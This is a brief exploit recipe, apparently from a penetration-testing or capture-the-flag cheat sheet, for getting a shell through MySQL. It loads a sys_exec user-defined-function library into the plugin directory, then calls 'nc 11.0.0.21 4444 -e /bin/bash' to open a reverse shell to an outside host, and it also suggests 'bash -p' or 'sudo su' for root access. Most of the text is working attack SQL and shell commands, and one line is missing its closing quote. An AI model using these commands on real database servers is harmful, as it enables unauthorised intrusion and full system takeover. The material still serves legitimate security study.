Compile a unix library containing the function sys_exec()
Uploader the .so file onto the server. Declare the function in MySQL. Now it's possible to use sys_exec() to run shell commands.

# Tested with : mysql 5.5.60-0+deb8u1
# Create a 'User Defined Function' calling C function 'system'
# Use pre-compiled 32 or 64 depending on target.
# Copy file to /tmp
create database exploittest;
use exploittest;
create table bob(line blob);
insert into bob values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from bob into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so
create function sys_exec returns int soname 'lib_mysqludf_sys.so';
select sys_exec('nc 11.0.0.21 4444 -e /bin/bash');

select sys_exec('/bin/sh');
after bash access, 'bash –p' or 'sudo su'